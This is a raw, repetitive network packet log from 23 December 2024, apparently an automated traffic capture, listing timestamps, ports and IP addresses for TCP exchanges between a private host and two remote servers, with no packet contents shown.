Dec 23, 2024 06:53:38.422683001 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.423469067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.423727036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.423769951 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.424382925 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.424501896 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.424608946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.425384998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.425615072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.425653934 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.426276922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.426376104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.426475048 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.426491022 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.427216053 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.427337885 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.427376032 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.428153038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.428262949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.429006100 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.429096937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.429184914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.429266930 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.430109024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.430171967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.430296898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.431001902 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.431107998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.431209087 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.431920052 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.432034016 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.432166100 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.432877064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.432996035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.433084011 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.433794022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.433876038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.433957100 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.434741020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.434868097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.435000896 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.435678959 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.435776949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.435817957 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.436630964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.436733007 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.436778069 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.437557936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.437627077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.437669992 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.438484907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.438601971 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.438643932 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.439460039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.439527988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.439569950 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.440361023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.440453053 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.440534115 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.441328049 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.441411018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.442292929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.442348003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.442364931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.442435980 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.443202019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.443321943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.443414927 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.444127083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.444391966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.444453955 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.445063114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.445187092 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.445307970 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.446058989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.446125031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.446547031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.446948051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.447076082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.447201014 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.447890043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.447998047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.448118925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.448837996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.448951006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.449018955 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.449775934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.449918985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.449955940 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.450701952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.450803041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.450841904 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.451668024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.451786995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.451860905 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.452605963 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.452706099 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.452786922 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.453525066 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.453623056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.453670025 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.454483032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.454624891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.455388069 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.455436945 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.455498934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.455619097 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.456366062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.456478119 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.456594944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.457273006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.457380056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.457431078 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.458206892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.458267927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.458833933 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.459142923 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.459227085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.459266901 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.460140944 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.460256100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.460681915 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.461026907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.461133003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.461230993 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.461982965 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.462057114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.462095022 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.462917089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.463026047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.463087082 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.463804960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.474595070 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.487945080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.615098953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.615304947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.615349054 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.615580082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.615704060 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.616478920 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.616519928 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.616590023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.616631031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.617455006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.617563963 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.618350029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.618402004 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.618463993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.618504047 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.619307041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.619419098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.619607925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.620228052 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.620338917 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.620388031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.621159077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.621239901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.621814013 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.622100115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.622214079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.622253895 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.623039007 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.623172045 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.623217106 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.624005079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.624104023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.624152899 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.624454021 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.624495029 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.624665022 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.624914885 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.625034094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.625071049 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.625338078 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.625355005 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.625863075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.625994921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.626036882 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.626874924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.626998901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.627046108 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.627748966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.627842903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.627885103 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.628710032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.628824949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.628869057 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.629637957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.629757881 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.629774094 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.629795074 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.630551100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.630660057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.630701065 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.631517887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.631623983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.631668091 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.632476091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.632563114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.632666111 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.633372068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.633505106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.633665085 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.634306908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.634424925 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.634463072 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.635267973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.635446072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.635487080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.636215925 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.636317015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.636358023 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.637155056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.637346983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.637409925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.638077974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.638233900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.638272047 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.639044046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.639158010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.639197111 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.640002966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.640096903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.640129089 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.640886068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.641064882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.641105890 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.641812086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.641948938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.641990900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.642796040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.642880917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.642962933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.643403053 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.643703938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.643791914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.643830061 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.644668102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.644782066 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.644826889 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.645591021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.645704985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.645745039 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.646536112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.646665096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.646717072 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.647475004 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.647572041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.647617102 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.648474932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.648576021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.648672104 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.649343967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.649425030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.649482965 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.650283098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.650392056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.650430918 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.651238918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.651349068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.651390076 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.652266026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.652374029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.652412891 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.653119087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.653287888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.653331041 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.654047012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.654153109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.654196978 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.655013084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.655127048 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.655163050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.656054020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.656172991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.656569004 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.656893015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.656933069 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.657176018 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.657792091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.657898903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.657932997 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.658750057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.658869982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.658910036 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.659682989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.659784079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.659837961 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.660610914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.660723925 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.660763979 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.661565065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.661703110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.661757946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.662492037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.662606001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.662650108 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.663463116 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.663561106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.663669109 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.664730072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.693583012 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.745428085 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.796035051 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.796278000 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.796387911 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.796694994 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.796710014 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.796750069 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.807401896 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.807521105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.807674885 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.807811975 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.808043003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.808104038 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.808756113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.808857918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.808932066 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.809693098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.809935093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.810024023 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.810635090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.810750008 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.810812950 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.811572075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.811688900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.811819077 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.812500000 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.812571049 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.812993050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.813447952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.813568115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.813716888 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.814368010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.814502001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.814543009 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.815344095 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.815443039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.815563917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.816283941 CET	80	49758	185.215.113.16	192.168.2.6
